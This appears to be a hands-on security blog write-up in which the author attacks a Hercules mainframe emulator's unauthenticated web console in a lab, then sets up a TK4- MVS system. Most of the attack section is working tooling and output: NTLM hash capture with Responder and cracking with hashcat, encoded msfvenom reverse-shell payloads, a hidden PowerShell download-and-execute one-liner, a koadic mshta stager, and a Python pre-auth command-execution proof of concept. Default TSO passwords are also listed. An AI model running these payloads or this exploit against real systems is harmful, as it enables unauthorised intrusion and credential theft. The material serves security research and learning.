Completed NSE at 20:33, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 20:33
Completed NSE at 20:33, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 20:33
Completed NSE at 20:33, 0.00s elapsed
Initiating Connect Scan at 20:33
Scanning 192.168.1.10 [2 ports]
Discovered open port 3270/tcp on 192.168.1.10
Discovered open port 8081/tcp on 192.168.1.10
Completed Connect Scan at 20:33, 0.01s elapsed (2 total ports)
Initiating Service scan at 20:33
Scanning 2 services on 192.168.1.10

Windows 10 Education N
```

First results are presented below:

```

PORT      STATE SERVICE          REASON  VERSION
3270/tcp  open  telnet           syn-ack
3081/tcp  open  blackice-icecap? syn-ack
|
| fingerprint-strings:
|   FourOhFourRequest:
|     HTTP/1.0 404 File Not Found
|     Connection: close
|     Content-Type: text/html
|     <HTML><HEAD><TITLE>404 File Not Found</TITLE></HEAD><BODY><H1>404 File Not Found</H1><P>No such file or directory</BODY></HTML>
|   GenericLines, SIPOptions:
|     HTTP/1.0 400 Bad Request
|     Connection: close
|     Content-Type: text/html
|     <HTML><HEAD><TITLE>400 Bad Request</TITLE></HEAD><BODY><H1>400 Bad Request</H1><P>You must specify a GET or POST request</BODY></HTML>
|   GetRequest:
|     HTTP/1.0 200 OK
|     Content-Type: text/html
|     Expires: Wed, 30 Dec 2020 20:38:56 GMT Standard Time
|     Content-Length: 687
|     <html>
|     <head>
|     <meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
|     <title>Hercules</title>
|     <link rel="shortcut icon" href="images/favicon.ico" />
|     <link rel="icon" href="images/favicon.ico" />
|     </head>
|     <frameset cols="15%,*" border="0" frameborder="1" framespacing="0">
|     <frame name="tasks" src="tasks.html">
|     <frameset rows="95,*" border="0" frameborder="1" framespacing="0">
|     <frame name="gui" src="fishgui.html" scrolling="no">
|     <frame name="main" src="cgi-bin/tasks/syslog#bottom">
|     </frameset>
|     </frameset>
|     </frameset>
|     </frameset>
|     </html>
|
| mcafee-epo-agent: ePO Agent not found
|
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org

```

Ok, what's next?

```

=[ metasploit v5.0.93-dev ]
+ -- --=[ 2031 exploits - 1103 auxiliary - 344 post ]
+ -- --=[ 562 payloads - 45 encoders - 10 nops ]
+ -- --=[ 7 evasion ]

Metasploit tip: Writing a custom module? After editing your module, why not try the reload command

msf5 > search mainframe

Matching Modules
=====
#  Name                                     Disclosure Date  Rank  Check  Description
-  -
0  exploit/mainframe/ftp/ftp_jcl_creds      2013-05-12      normal Yes   FTP JCL Execution
1  payload/cmd/mainframe/apf_privesc_jcl    normal No    JCL to Escalate Privileges
2  payload/cmd/mainframe/bind_shell_jcl     normal No    Z/OS (MVS) Command Shell, Bind TCP
3  payload/cmd/mainframe/generic_jcl        normal No    Generic JCL Test for Mainframe Exploits
4  payload/cmd/mainframe/reverse_shell_jcl  normal No    Z/OS (MVS) Command Shell, Reverse TCP
5  payload/mainframe/shell_reverse_tcp      normal No    Z/OS (MVS) Command Shell, Reverse TCP Inline

```

Ok. So far, we can see that there is only 1 'exploit' (for the ftp) and few 'payloads' we can use (as far as I think: when we already received a shell on remote target host). „Not much” – so in our 'example scenario' (where we have also an access to HTTP server) we can try this path:

(Yep, no password... so) after a while we should be here:

```


File Edit View Tools Help
Clear Erase PA1 PA2 PA3 EraseF
Hercules Version : 3.07
Host name       : DESKTOP-00700KN
Host OS        : Windows_NT-6 2
Host Architecture : i686
Processors     : UP
Chanl Subsys   : 0
Device number  : 001F
Subchannel     : 0004

      HHH      HHH  The S/370, ESA/390 and z/Architecture
      HHH      HHH      Emulator
      HHH      HHH
      HHH      HHH  EEEE RRR  CCC U  U L  EEEE SSS
      HHHHHHHHHHHHHHHH E  R  R C  U  U L  E  S
      HHHHHHHHHHHHHHHH EEE RRR  C  U  U L  EEE  SS
      HHHHHHHHHHHHHHHH E  R  R C  U  U L  E  S
      HHH      HHH  EEEE R  R  CCC  UU  LLLL EEEE SSS
      HHH      HHH
      HHH      HHH
      HHH      HHH  My PC thinks it's a MAINFRAME

Copyright (C) 1999-2010 Roger Bowler, Jan Jaeger, and others

```

So far, so good. Next step – open the browser, we should be here:



Now, like I said before[1] – feel free to read the fantastic manual(s) ;) Check it out:

```

Hercules System Log

SCHTASKS    Schedules commands and programs to run on a computer.
SHIFT       Shifts the position of replaceable parameters in batch files.
SHUTDOWN    Allows proper local or remote shutdown of machine.
SORT        Sorts input.
START       Starts a separate window to run a specified program or command.
SUBST       Associates a path with a drive letter.
SYSTEMINFO  Displays machine specific properties and configuration.
TASKLIST    Displays all currently running tasks including services.
TASKKILL    Kill or stop a running process or application.
TIME        Displays or sets the system time.
TITLE       Sets the window title for a CMD.EXE session.
TREE        Graphically displays the directory structure of a drive or
            path.
TYPE        Displays the contents of a text file.
VER         Displays the Windows version.
VERIFY      Tells Windows whether to verify that your files are written
            correctly to a disk.
VOL         Displays a disk volume label and serial number.
XCOPY       Copies files and directory trees.
WMIC        Displays WMI information inside interactive command shell.

For more information on tools see the command-line reference in the online help.

Command: sh help

```

Well, correct me if I'm wrong but: there is a Windows-based-box and there is a(\$ far as I can see the) WMIC command ;> How can we connect both of those hints...? ;] Well, let's try this one:

```
VER          Displays the Windows version.
VERIFY       Tells Windows whether to verify that your files are written
             correctly to a disk.
VOL          Displays a disk volume label and serial number.
XCOPY        Copies files and directory trees.
WMIC         Displays WMI information inside interactive command shell.

For more information on tools see the command-line reference in the online help.
sh WMIC

Command:  
```

Response:

```
XCOPY        Copies files and directory trees.
WMIC         Displays WMI information inside interactive command shell.

For more information on tools see the command-line reference in the online help.
sh WMIC
sh wmic computersystem get Name,Domain,Username
Domain      Name          UserName
WORKGROUP   DESKTOP-00700KN  DESK██████████ N\c

Command:  
```

Ok, cool. Let's try something else:

```
root@kali: ~
NBT-NS, LLMNR & MDNS Responder 3.0.0.0

Author: Laurent Gaffie (laurent.gaffie@gmail.com)
To kill this script hit CTRL-C

[+] Poisoners:
LLMNR          [ON]
NBT-NS         [ON]
DNS/MDNS       [ON]

[+] Servers:
HTTP server    [ON]
HTTPS server   [ON]
WPAD proxy     [ON]
Auth proxy     [OFF]
SMB server     [ON]
Kerberos server [ON]
SQL server     [ON]
FTP server     [ON]
IMAP server    [ON]
POP3 server    [ON]
SMTP server    [ON]
DNS server     [ON]
LDAP server    [ON]
RDP server     [ON]

[+] HTTP Options:
Always serving EXE [OFF]
Serving EXE        [OFF]
Serving HTML       [OFF]
Upstream Proxy     [OFF]
```

I started responder to check if I'll be able to get some hashes from this target box. Checking:

```
Command:  
```

Output(s):

```
sh wmic process call create "iexplore \\192.168.1.10\asd"
Invalid format.
Hint: <paramlist> = <param> [, <paramlist>].
sh wmic os get /format:"smb://192.168.1.10/asd"
Invalid XSL format (or) file name.
```


Command:

Ok, let's try this:

```
C:\Windows\System32\RuntimeBroker.exe -Embedding
"C:\Windows\SystemApps\ShellExperienceHost_cw5nlh2txyewy\ShellExperienceHost.exe" -Se
"C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5nlh2txyewy\SearchUI.exe" -ServerN
C:\Windows\system32\svchost.exe -k UnistackSvcGroup
"C:\Program Files\Hercules\Hercules 3.07 (32 Bit)\hercules.exe"
\??C:\Windows\system32\conhost.exe 0x4
conspawn wmic process list
C:\Windows\system32\cmd.exe /c wmic process list
wmic process list
```

Command:

Looks good. ;) So I decided to give restart *responder* and use another command (*net help*). Now we should be here:



The screenshot shows a Kali Linux terminal window with the following content:

```
root@kali: ~
[+] Poisoning Options:
  Analyze Mode           [OFF]
  Force WPAD auth        [OFF]
  Force Basic Auth       [OFF]
  Force LM downgrade     [OFF]
  Fingerprint hosts     [ON]

[+] Generic Options:
  Responder NIC          [eth0]
  Responder IP           [192.168.111.128]
  Challenge set          [random]
  Don't Respond To Names [ 'ISATAP' ]

[+] Listening for events...
[SMB] NTLMv2-SSP Client   : 192.168.111.1
[SMB] NTLMv2-SSP Username : DESKTOP-00700KN\c
[SMB] NTLMv2-SSP Hash     : c::DESKTOP-00700KN:a714...

sh net use \\192.168.111.128\qwe
System error 1223 has occurred.

The operation was canceled by the user.

Command:  
```

Well, well. It looks like we have a user's hash. Next step? We can continue with cracking hash (for example using *hashcat*):

```
root@kali:~# hashcat -m 5600 her_hash.txt /usr/share/wordlists/rockyou.txt --force
hashcat (v5.1.0) starting...

OpenCL Platform #1: The pocl project
=====
* Device #1: pthread-Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz, 1024/2972 MB allocated
=====
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt
```

After a while – maybe we'll find a correct password:

```
Session.....: hashcat
Status.....: Running
Hash.Type.....: NetNTLMv2
Hash.Target....: C::DESKTOP-0076
Time.Started...: Thu Dec 24 06:4
Time.Estimated...: Thu Dec 24 06:4
Guess.Base.....: File (/usr/shar
Guess.Queue....: 1/1 (100.00%)
Speed.#1.....: 96183 H/s (8
Recovered.....: 0/1 (0.00%) Dig
Progress.....: 1894400/1434438
Rejected.....: 0/1894400 (0.00
Restore.Point...: 1894400/1434438
Restore.Sub.#1...: Salt:0 Amplifie
Candidates.#1....: cromwell14 -> c
```


But in case we still have an access to 'RCE' via *webshell* as well as we can use Mocha TN320 terminal (without the password) I decided to skip the part related to cracking password/hash and jump directly here:

```
root@kali: /home/c/pwn
root@kali:/home/c/pwn# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=443 -e x86/shikata_ga_nai -f vba-exe > vba.file
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of vba-exe file: 20503 bytes
root@kali:/home/c/pwn# file vba.file
vba.file: ASCII text, with very long lines, with CRLF, LF line terminators
root@kali:/home/c/pwn# head vba.file
*****
**
** This code is now split into two pieces:
** 1. The Macro. This must be copied into the Office document
**    macro editor. This macro will run on startup.
**
** 2. The Data. The hex dump at the end of this output must be
**    appended to the end of the document contents.
**
*****
```


My next step was to run python *SimpleHTTPServer* on port 8080/tcp:

```
root@kali: /home/c/pwn
root@kali:/home/c/pwn#
root@kali:/home/c/pwn# ls
mineframez.log vba.file
root@kali:/home/c/pwn# python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
```


Now let's try to grab the file using our web page. To check how can I do it I used few oneliners, for example this one:



Hm... Let's try harder ;) After a while I decided to recreate payload using *msfvenom* again but this time I decided to save the response as *vba-psh*:



For now we should be here:



Let's try to download the file and run it once again:


```

root@kali: /home/c/pwn
AVLOAD windows/meterpreter/reverse_tcp
host
port 443
file
root@kali: /home/c/pwn# less vba-psh.file
root@kali: /home/c/pwn# python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
192.168.111.1 - - [24/Dec/2020 09:08:58] "GET /vba-psh.f
dbbbb
b'db'd
'db'db
db'db'

--[ metasploit v5.0.93-dev ]
--[ 2034 exploits - 1103 auxiliary - 344 post ]
--[ 562 payloads - 45 encoders - 10 nops ]
--[ 7 evasion ]

```

Hm. Looks like I did not prepare a valid parser for the payload I prepared ;S I decided to go pack directly to PS1-based payload (so I go back to *msfvenom* ;)). Here we go again:

```

root@kali: /home/c/pwn
root@kali: /home/c/pwn# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=443 -e x86/shikata_ga_nai -f psh > psh.ps1 ; file psh.ps1

```

Checking our oneliner to grab and run the file from our Kali box:

```

root@kali: /home/c/pwn
root@kali: /home/c/pwn# msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=443 -e x86/shikata_ga_nai -f psh > psh.ps1
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of psh file: 2577 bytes
psh.ps1: ASCII text, with very long lines, with CRLF line terminators
root@kali: /home/c/pwn# python -m SimpleHTTPServer 8080
Serving HTTP on 0.0.0.0 port 8080 ...
192.168.111.1 - - [24/Dec/2020 09:23:23] "GET /psh.ps1 H
dbbbb
b'db'd
'db'db
db'db'

--[ metasploit v5.0.93-dev ]
--[ 2034 exploits - 1103 auxiliary - 344 post ]
--[ 562 payloads - 45 encoders - 10 nops ]
--[ 7 evasion ]


Metasploit tip: You can upgrade a shell to a Meterpreter session on

msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.111.128
lhost => 192.168.111.128
msf5 exploit(multi/handler) > set lport 443
lport => 443
msf5 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.111.128:443
msf5 exploit(multi/handler) > [*] Sending stage (176195 bytes) to 192.168.111.1
[*] Meterpreter session 1 opened (192.168.111.128:443 -> 192.168.111.1:49254) at 2020-12-24 09:23:25 -0500
[*] 192.168.111.1 - Meterpreter session 1 closed. Reason: Died

```

Better now, but meterpreter died – so we need to try again. Checking:




So it looks much better with this oneliner:

```

powershell.exe -executionpolicy bypass -w hidden "iex(New-Object System.Net.WebClient).DownloadString('http://kali:8080/psh.ps1');psh.ps1"

```

Now we are... (at this moment „Meterpreter session... Died” again ;S) here: at this stage (meterpreter died multiple times) I decided to focus again on *wmic* command available in Hercules Web Server and that’s how I found tool called *koadic*[3]. Let’s start here:



So far, so good. Let’s install it, according to the README file we should be somewhere here:


```
(koadic: sta/js/mshta)# run
[+] Spawned a stager at http://192.168.111.128:9999/byUA6
[>] mshta http://192.168.111.128:9999/byUA6
```

Let's use *mshta* to run it from our 'webshell':

```
Hint: <paramlist> = <param> [, <paramlist>].
sh mshta http://192.168.111.128:9999/byUA6
```

Command:

Updates on Kali – in kodiac's console:

```
(koadic: sta/js/mshta)# run
[+] Spawned a stager at http://192.168.111.128:9999/byUA6
[>] mshta http://192.168.111.128:9999/byUA6
[+] Zombie 0: Staging new connection (192.168.111.1) on Stager 0
[+] Zombie 0: DESKTOP-00700KN\c @ DESKTOP-00700KN -- Windows 10 Education N
(koadic: sta/js/mshta)# █
```

Let's see what's next:

```
(koadic: imp/piv/stage_wmi)# cmdshell
[-] You must provide a zombie number as an argument.
(koadic: imp/piv/stage_wmi)# cmdshell help
[-] Zombie #help not found.
(koadic: imp/piv/stage_wmi)# cmdshell 0
[*] Press '?' for extra commands
[koadic: ZOMBIE 0 (10.0.2.15) - C:\Program Files\Hercules\Hercules 3.07 (32 Bit)]> █
```


Looks like we did it! ;) Last quick check:

```
[koadic: ZOMBIE 0 (10.0.2.15) - C:\Program Files\Hercules\Hercules 3.07 (32 Bit)]> whoami
[*] Zombie 0: Job 2 (implant/manage/exec_cmd) created.
Result for `cd /d C:\Program Files\Hercules\Hercules 3.07 (32 Bit) & whoami`:
desktop-0o700kn\c

[koadic: ZOMBIE 0 (10.0.2.15) - C:\Program Files\Hercules\Hercules 3.07 (32 Bit)]> netstat -ant | findstr "LIST"
[*] Zombie 0: Job 3 (implant/manage/exec_cmd) created.
Result for `cd /d C:\Program Files\Hercules\Hercules 3.07 (32 Bit) & netstat -ant | findstr "LIST"`:
TCP    0.0.0.0:135           0.0.0.0:0           LISTENING           InHost
TCP    0.0.0.0:445           0.0.0.0:0           LISTENING           InHost
TCP    0.0.0.0:3270          0.0.0.0:0           LISTENING           InHost
TCP    0.0.0.0:5357          0.0.0.0:0           LISTENING           InHost
```

So far, so good. We achieved a stable reverse shell so we can move forward... ;]


(Windows10 – why not to love it? ;)



...remember I told you about the updates? ;))

Back to the future

Quick overview for last steps:



Ok, checking in the console window, raw copy/paste example from Burp:

```
import requests

session = requests.session()

burp0_url = "http://192.168.1.10:8081/cgi-bin/tasks/syslog"
burp0_cookies = {"msgcount": "22"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "pl,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://192.168.1.10:8081", "Connection": "close", "Referer": "http://192.168.1.10:8081/cgi-bin/tasks/syslog", "Upgrade-Insecure-Requests": "1"}
burp0_data = {"command": "sh mshta http://192.168.111.128:9999/byUA6", "send": "Send", "norefresh": "1", "refresh_interval": "5", "msgcount": "22"}
session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
```

Edited example:

```
root@kali: /home/cj/pwn
# /usr/bin/env python
# Hercules emulator Web Server PreAuth poc
#
# require: kodiac framework
# 25.12.2020 @ 00:07
#
import requests
session = requests.session()

kodiac_path = raw_input('Full path to kodiac binary please: ')
print '[+] current kodiac path: %s' % (kodiac_path)

target = raw_input('Target host/IP please: ') # default 8081

burp0_url = "http://" + target + ":8081/cgi-bin/tasks/syslog"
burp0_cookies = {"msgcount": "22"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", "Accept-Language": "pl,en-US;q=0.7,en;q=0.3", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://"+target+":8081", "Connection": "close", "Referer": "http://"+target+":8081/cgi-bin/tasks/syslog", "Upgrade-Insecure-Requests": "1"}


cmd = raw_input('Command please: [1:default, 2: yours]')
if cmd == 1:
    print '[!] remember to start kodiac'
    burp0_data = {"command": "sh mshta http://192.168.111.128:9999/byUA6", "send": "Send", "norefresh": "1", "refresh_interval": "5", "msgcount": "22"}
else:
    burp0_data = {"command": "sh " + cmd, "send": "Send", "norefresh": "1", "refresh_interval": "5", "msgcount": "22"}

session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)

print '[+] done ;]'
```


Quick intro and new vocabulary


Bonsoir.



As we are in the new environment, a „main” one ;) I believe it's time to learn few new wor(l)ds. Because of that, today we'll start here:

Shortcut	Short Description
CICS [4]	(Customer Information Control System) is a family of mixed language application servers that provide online transaction management and connectivity for applications on IBM mainframe.
CICS transaction [4]	Transaction is a set of operations that perform a task together. (...) relatively simple tasks such as requesting an inventory list or entering a debit or credit to an account. A primary characteristic of a transaction is that it should be atomic.
REXX [5]	'Restructured Extended Executor' is an interpreted programming language developed at IBM by Mike Cowlshaw. It is a structured, high-level programming language designed for ease of learning and reading.
HLASM [6]	'High Level Assembler' is IBM's current assembler programming language for its z/OS, z/VSE, z/VM and z/TPF.
TN3270 [7, 8]	TN3270 Plus is a 3270 terminal emulator
SURROGAT [9]	A surrogate user is a user who has the authority to do tasks on behalf of another user, by using the other user's level of authority.
JCL [10]	Scripting languages used on IBM mainframe operating systems to instruct the system on how to run a batch job or start a subsystem
RACF [11]	(Resource Access Control Facility) - security system that provides access control and auditing functionality for the z/OS and z/VM operating systems.
APF [12]	Is used to allow the installation to identify system or user programs that can use sensitive system functions

For now we can continue here[13]:



The screenshot shows a web browser window with the URL `wtho.ethz.ch/tk4/`. The page content includes three links for updates: `tk4- v1.00_ update_ 07.zip`, `tk4- v1.00_ update_ 08.zip`, and `tk4- v1.00_ current.zip`. To the right, there is descriptive text for each update, with the 'Current TK4- System' section highlighted in blue. Below the links, there are sections for 'New Systems' and 'Existing Systems' with instructions on how to install and update the system.

general x3270 platform support,
enhanced startup/shutdown
parameterization, and much more)

[tk4- v1.00_ update_ 07.zip](#) TK4- Update 07: Seventh
incremental update to the TK4-
System (basic TCP/IP support and
RFE/REVIEW update)

[tk4- v1.00_ update_ 08.zip](#) TK4- Update 08: Eighth incremental
update to the TK4- System (New
MVSDDT, RFE/REVIEW, IMON/370
and IND\$FILE versions, S/370
instruction set extensions, and much
more)


[tk4- v1.00_ current.zip](#) **Current TK4- System: TK4- System
with all incremental updates applied**

New Systems
Please follow the installation instructions in the User's Manual and use
the [Current TK4- System](#) instead of the TK4- System.

Existing Systems
Please install the incremental updates in sequence following the instructions given
in the document found in folder doc of the respective zip file.


*
* MVS 3.8j Tur(n)key 4- ("TK4-") is a ready to use OS/VS2 MVS 3.8j *
* system built specifically to run under the Hercules System/370, *
* ESA/390, and z/Architecture Emulator. It is an extension of the *
* original MVS Tur(n)key Version 3 System ("TK3") created by Volker *
* Bandke in 2002. See the User's Manual for credits and copyrights. *

Let's continue with Ubuntu 20. At this stage I decided to check a console-based client available for Linux called x3270. Let's try it:




```
root@ubuntu20: ~  
root@ubuntu20:~# apt search x3270  
Sorting... Done  
Full Text Search... Done  
c3270/focal 3.6ga4-3build1 amd64  
  Curses program for telnet sessions to IBM mainframes  
  
fonts-3270/focal,focal 2.0.3-1 all  
  monospaced font based on IBM 3270 terminals  
  
x3270/focal 3.6ga4-3build1 amd64  
  X11 program for telnet sessions to IBM mainframes  
  
x3270-doc/focal,focal 3.6ga4-3build1 all  
  X11 program for telnet sessions to IBM mainframes - documentation  
  
xfonts-x3270-misc/focal,focal 3.6ga4-3build1 all  
  Font files for the x3270(1) IBM 3270 emulator  
  
root@ubuntu20:~#
```

Checking:



```
root@ubuntu20:~# apt install x3270  
Reading package lists... Done  
Building dependency tree  
Reading state information... Done  
The following additional packages will be installed:  
  3270-common xfonts-x3270-misc  
Suggested packages:  
  x3270-doc  
The following NEW packages will be installed:  
  3270-common x3270 xfonts-x3270-misc  
0 upgraded, 3 newly installed, 0 to remove and 389 not upgraded.  
Need to get 718 kB of archives.  
After this operation, 1 844 kB of additional disk space will be used.  
Do you want to continue? [Y/n] y
```


After a while we should be here, trying to connect to remote Hercules VM:



Great! Looks like we're in! ;) It means: we can connect from remote Linux machine to our 'mainframe server'. So far, so good. Let's continue below...

First Crush

So far we already downloaded the ZIP package (*tk4-v1.00 current.zip*[\[14\]](#)). Let's move it to our Ubuntu VM. When it's unzipped, we should be here:



Checking (I started *set_console_mode* from *unattended* directory and next *./mvs*):

```
c@ubuntu20: ~/hercool
HHC01437I Config file[14] conf/tk4-.cnf: including file local_conf/05
HHC01437I Config file[15] conf/tk4-.cnf: including file local_conf/06
HHC01437I Config file[16] conf/tk4-.cnf: including file local_conf/07
HHC01437I Config file[17] conf/tk4-.cnf: including file local_conf/08
HHC01437I Config file[18] conf/tk4-.cnf: including file local_conf/09
HHC01437I Config file[19] conf/tk4-.cnf: including file local_conf/10
HHC00100I Thread id 7FBAF0576740, prio 0, name Control panel started
HHC02260I Script 1: begin processing file scripts/ipl.rc
HHC01603I hao tgt MVS038J
HHC00077I The target was placed at index 0
HHC01603I hao cmd script scripts/tk4-.rc
HHC00077I The command was placed at index 0
HHC01603I hao tgt IEA101A
HHC00077I The target was placed at index 1
HHC01603I hao cmd script ${SCR101A:=scripts}/SCR101A_${REP101A:=default}${CMD101A}
HHC00077I The command was placed at index 1
HHC01603I hao tgt IEA305A
HHC00077I The target was placed at index 2
HHC01603I hao cmd script ${SCR101A:=scripts}/SCR101A_${REP101A:=default}${CMD101A}
HHC00077I The command was placed at index 2
HHC01603I * pausing for a few seconds, please stand by.
HHC00100I Thread id 7FBAE5DB700, prio 0, name Hercules Automatic Operator started
HHC01603I ipl 148
HHC01603I * pausing for a few seconds, please stand by.
HHC00811I Processor CP00: architecture mode S/370
IEA101A SPECIFY SYSTEM PARAMETERS FOR RELEASE 03.8 .VS2
HHC00081I Match at index 01, executing command script scripts/SCR101A_default
HHC01603I script scripts/SCR101A_default
HHC00010A Enter input for console 0:0009
HHC02260I Script 2: begin processing file scripts/SCR101A_default

herc =====
CP00 PSH=070E000000000000 24..W..... Instcnt 3,581,696; mips 0.000; I/O
```


Let's wait for the end of the loading... After a while we can start learning about the new environment we are currently watching ;]

```
c@ubuntu20:~$ telnet localhost 3270
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
HHC01027I Hercules version 4.00, built on Jun 23 2016 20:34:21

HHC01031I Running on ubuntu20 (Linux-5.4.0-58-generic.#64-Ubuntu SMP Med Dec 9 08:16:25 UTC 2020 x86_64 UP)
HHC01028E Connection rejected, no available 1052 or 3215 device
Connection closed by foreign host.
c@ubuntu20:~$


HHC01603I *
HHC01603I *
HHC01603I *
HHC02264I Script 5: file scripts/tk4-.rc processing ended
HHC01028E Connection rejected, no available 1052 or 3215 device
herc =====
```

Let's try again:




So far, so good. We can continue with the hints we already found [13]. (At this stage to avoid some ‘character misunderstood’ – simply go to the *Options* to change your language/localization settings. It should be fine and ready to go now ;).)

For example, we are here:



In the meantime, check it out:



At this stage we can see it could be „a little bit more dangerous” when Hercules is started on Linux. ;)

Next, we should be here: *herc* console (or webherc console) is not „mainframe console” yet. In my opinion ‘access to the mainframe’ we’ll have when we can use (for example) one of the users presented below:

• [Notes](#)

How to Create a New TSO User

You must be logged on with a Sysprog type user, like Herc01, to be able to define new users. Take a look at the job in SYS2.JCLLIB(ADDUSER). You need to change the invocation parameter HLQ to the new userid, and you need to specify if the new user is a system programmer, or not. Creating a "normal", non-sysprog type user will be done with a jcl line like this

```
//ADDUSER EXEC ADDUSER,HLQ=GWBUSH,UTYPE=USER
```

whereas a sysprog type user would be defined via //ADDUSER EXEC ADDUSER,HLQ=VOLKER,UTYPE=SYSP

There are five predefined TSO users in the MVS Tur(n)key System: Userid Description Password IBMUSER Emergency user HERC01 System Programmer Userid HERC02 System Programmer Userid CUL8TR HERC03 Standard user HERC04 Standard user PASS4U

We’ll use it later. For now let’s stay with *HERC01* user, like below:

The screenshot shows a terminal window with two panes. The left pane displays a list of system jobs and configurations, including printer status and saved configurations. The right pane shows a TSO session with the following content:

```
x3270-4 localhost:3270
File Options
HELP member==> HEL Subcommand==> CHAT Help for
Input==>
1 10 20 30 40 50 60
)F Function -
The FSHELP command displays a HELP member on a 3270 termi
in full screen mode.
In the field labelled MEMBER==> _____, FSHELP displ
current subcommand of the HELP command; if the cursor is
to this field and a name is entered, FSHELP will display that new member's HE
In the field labelled SUBCOMMAND==> _____, FSHELP displ
current subcommand of the HELP command; if the cursor is
to this field and a name is entered, FSHELP will display
HELP data for the entered subcommand.
The field labelled INPUT==> _____ is the primary input
FSHELP; any supported subcommand may be entered.
In the field labelled SCROLL ==> ___, FSHELP displays the
forward and backward scroll amount; if the cursor is posi
this field and an amount is entered, that quantity will b
new default scroll amount.
)X Syntax -
FSHELP 'command' FUNCTION SYNTAX POSITIONAL(nn) A
OPERANDS('keyword-list') MSGID('ke
Aliases - FSH, HEL
Required - NONE.
Defaults - ALL if FUNCTION, SYNTAX, and OPERANDS not spec
Note - If HELP is entered without any operands a list
available commands with a short description of
be displayed.
NOTE - 'keyword-list' is optional when OPERANDS is us
)O Operands -
)P 'command' - Name of the TSO command to be explained.
)FUNCTION - Function data is to be displayed.
)SYNTAX - Syntax data is to be displayed.
)OPERANDS('keyword-list')
- Operand description is to be displayed. If
'keyword-list' is present, positioning is to t
```

Feel free to spend some time with *HELP* command ;) Moving forward – and we are here:

```
ome/c/hercool x3270-4 localhost:3270
ON PRINTER2 7 LINES
IS PURGED
ON PRINTER2 32 LINES
IS PURGED
ON PRINTER2 28 LINES
INACTIVE - CLASS=Z
IS PURGED
OR JES2 JES2
LOCATED TO PRINTER3
INACTIVE - CLASS=X
CONFIGURATION ATSO READ FROM VTA
ACTIVE
CONFIGURATION ASNASOL READ FROM VTA
ACTIVE
CONFIGURATION AJRP READ FROM VTA
ACTIVE
CONFIGURATION L3274 READ FROM VTA
ACTIVE
CONFIGURATION L3791 READ FROM VTA
ACTIVE
CONFIGURATION S3705 READ FROM VTA
CONFIGURATION N07 READ FROM VTA
ACTIVE
CONFIGURATION N08 READ FROM VTA
CONFIGURATION N10 READ FROM VTA
CONFIGURATION N11 READ FROM VTA
CONFIGURATION N12 READ FROM VTA
CONFIGURATION N13 READ FROM VTA
CONFIGURATION N14 READ FROM VTA
CONFIGURATION N15 READ FROM VTA
ON STCINRDR
STARTED
STARTED - TIME=20.43.27
INITIALIZATION COMPLETE
05,0200,400000000001,,NET ,20,
05,0200,400000000001,,NET ,20,
05,0200,400000000001,,NET ,20,
05,0200,400000000001,,NET ,20,
05,0200,400000000001,,NET ,20,
05,0200,400000000001,,NET ,20,
05,0200,400000000001,,NET ,20,
05,0200,400000000001,,NET ,20,
COMPLETED
NOW LOADED WITH LOADMOD N07
0.1 devtype 3270: connected

File Options
HELP member==> COMMANDS Subcommand==>
Input==>
1 10 20 30 40 50 60
+-----+
LANGUAGE PROCESSING COMMANDS:
ASM INVOKE ASSEMBLER PROMPTER AND ASSEMBLER F COMPILER.
CALC INVOKE ITF/PL/1 PROCESSOR FOR DESK CALCULATOR MODE.
COBOL INVOKE COBOL PROMPTER AND ANS COBOL COMPILER.
FORTRAN INVOKE FORTRAN PROMPTER AND FORTRAN IV G1 COMPILER.
PROGRAM CONTROL COMMANDS:
CALL LOAD AND EXECUTE THE SPECIFIED LOAD MODULE.
LINK INVOKE LINK PROMPTER AND LINKAGE EDITOR.
LOADGO LOAD AND EXECUTE PROGRAM.
RUN COMPILE, LOAD, AND EXECUTE PROGRAM.
TEST TEST USER PROGRAM.
DATA MANAGEMENT COMMANDS:
ALLOCATE ALLOCATE A DATA SET.
